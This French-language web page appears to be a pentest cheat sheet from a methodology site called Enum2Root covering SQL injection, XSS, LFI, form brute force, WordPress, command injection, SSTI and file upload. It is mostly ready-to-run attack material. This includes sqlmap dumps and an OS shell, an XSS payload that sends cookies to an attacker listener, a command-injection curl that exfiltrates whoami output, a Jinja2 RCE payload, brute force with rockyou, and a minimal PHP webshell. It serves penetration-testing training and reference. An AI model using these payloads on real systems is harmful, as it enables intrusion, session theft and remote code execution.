Aller au contenu

2 - Attaques web

Cette page couvre les vulnérabilités web classiques rencontrées en pentest : injection SQL, XSS, inclusion de fichiers, brute force de formulaires, WordPress, injection de commandes, SSTI et upload de fichiers. Chaque section reprend les commandes exactes d'Enum2Root et renvoie vers des références vérifiées (HackTricks, PayloadsAllTheThings, PortSwigger Web Security Academy, OWASP).

Jetons

Les commandes utilisent des jetons à substituer par vos valeurs :

  • {URL} - URL de base de l'application (ex. http://target.tld)
  • {IP} - adresse IP de la cible
  • {USER} - nom d'utilisateur
  • {PASS} - mot de passe
  • <listener_ip> - IP de votre machine d'attaque (callback / out-of-band)
  • <path>, <params>, <fail_string>, <size>, <CA>, <Template> - valeurs à adapter au contexte

SQL Injection

Injection SQL (injection). Contournement d'authentification classique : admin'-- ou ' OR '1'='1.

Détection / dump (GET)

sqlmap -u "{URL}/page.php?id=1" --batch --dbs

Voir aussi : sqlmap - dépôt officiel · sqlmap - guide d'utilisation

Requête POST

sqlmap -u "{URL}/login.php" --data="username=admin&password=test" --batch --dbs

Voir aussi : PortSwigger - SQL injection cheat sheet

Depuis une requête capturée + dump

sqlmap -r request.txt --batch --dbs --dump

Voir aussi : PortSwigger - Blind SQL injection

RCE (si autorisé)

sqlmap -r request.txt --batch --os-shell

Voir aussi : sqlmap - guide d'utilisation

XSS (Cross-Site Scripting)

Cross-Site Scripting (injection). Reflected / stored / DOM. Sondez d'abord, puis escaladez vers le vol de cookie ou des actions.

Sonde rapide (reflected)

<script>alert(document.domain)</script>
"><img src=x onerror=alert(1)>

Voir aussi : PortSwigger - XSS cheat sheet

Scan automatisé (dalfox)

dalfox url "{URL}/search?q=test"

Voir aussi : dalfox - dépôt officiel

<script>new Image().src='http://<listener_ip>/c='+document.cookie</script>

Voir aussi : PortSwigger - Exploiting cross-site scripting

LFI / Path Traversal

Inclusion de fichiers / traversée de répertoire (inclusion). -mc filtre par code de réponse, -fs filtre par taille.

Fuzz du paramètre

ffuf -u "{URL}/index.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs <size>

Voir aussi : SecLists - dépôt officiel

Fuzz fichiers / wrappers

ffuf -u "{URL}/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt

Voir aussi : PayloadsAllTheThings - File Inclusion

Lecture directe

curl "{URL}/index.php?page=../../../../etc/passwd"

Voir aussi : PortSwigger - Path traversal

Form brute force

Brute force de formulaire (bruteforce). Adaptez <path>, <params> et la <fail_string>.

Formulaire POST (hydra)

hydra -l {USER} -P /usr/share/wordlists/rockyou.txt {IP} http-post-form "<path>:<params>:<fail_string>"

Voir aussi : SecLists - dépôt officiel

Authentification Basic

hydra -L users.txt -P rockyou.txt {IP} http-get /<path>

Voir aussi : PortSwigger - Password-based authentication

WordPress

CMS WordPress (CMS). Si WordPress est détecté : lancez wpscan en premier.

Énumération (utilisateurs, plugins, thèmes)

wpscan --url {URL} --enumerate u,ap,at --plugins-detection aggressive

Voir aussi : WPScan - dépôt officiel

Brute force d'un utilisateur

wpscan --url {URL} -U admin -P /usr/share/wordlists/rockyou.txt

Voir aussi : WPScan - installation

Command Injection

Injection de commandes (injection). Testez les séparateurs : ; | & && nouvelle ligne $(...) `...`.

Détection (dans un paramètre)

; id
| id
$(id)
`id`

Voir aussi : PortSwigger - OS command injection

Aveugle (temporisation / out-of-band)

; sleep 5
; curl http://<listener_ip>/$(whoami)

Voir aussi : PayloadsAllTheThings - Command Injection

SSTI (templates)

Server-Side Template Injection (injection). Testez {{7*7}} : si la page affiche 49, elle est vulnérable.

Identifier le moteur

# {{7*7}}=49 -> Jinja2/Twig | ${7*7}=49 -> Freemarker | #{7*7} -> Ruby

Voir aussi : PortSwigger - Server-side template injection

RCE Jinja2 (Python)

{{ cycler.__init__.__globals__.os.popen('id').read() }}

Voir aussi : PayloadsAllTheThings - Server Side Template Injection

File upload

Upload de fichiers (upload). Contournement des filtres d'extension / content-type.

Contournement extension / type

# shell.php.jpg | shell.pHp | shell.phtml | .php%00.jpg
# Content-Type: image/jpeg + magic bytes GIF89a; au début

Voir aussi : PortSwigger - File upload vulnerabilities

Webshell PHP minimal

echo '<?php system($_GET["c"]); ?>' > shell.php

Voir aussi : PayloadsAllTheThings - Upload Insecure Files